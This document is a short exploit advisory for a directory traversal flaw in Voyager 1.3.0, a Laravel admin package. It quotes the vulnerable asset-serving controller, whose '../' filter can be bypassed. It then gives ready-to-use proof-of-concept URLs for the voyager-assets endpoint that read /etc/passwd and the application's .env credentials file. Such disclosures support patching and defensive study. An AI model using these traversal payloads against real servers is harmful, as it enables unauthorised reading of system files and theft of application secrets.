# Exploit Title: Voyager 1.3.0 - Directory Traversal
# Google Dork: N/A
# Date: January 2020-01-06
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://voyager.devdojo.com/
# Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7
# Version: 1.3.0 and bellow
# Tested on: Ubuntu 18.04
# CVE : N/A
Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php
========================================
public function assets(Request $request)
{
*$path = str_start(str_replace(['../', './'], '',
urldecode($request->path)), '/');*
* $path = base_path('vendor/tcg/voyager/publishable/assets'.$path);*
if (File::exists($path)) {
$mime = '';
if (ends_with($path, '.js')) {
$mime = 'text/javascript';
} elseif (ends_with($path, '.css')) {
$mime = 'text/css';
} else {
$mime = File::mimeType($path);
}
$response = response(File::get($path), 200,
['Content-Type' => $mime]);
$response->setSharedMaxAge(31536000);
$response->setMaxAge(31536000);
$response->setExpires(new \DateTime('+1 year'));
return $response;
}
return response('', 404);
}
========================================
PoC:
passwd:
http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd
Laravel environment
file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F<web
root dir>/.env
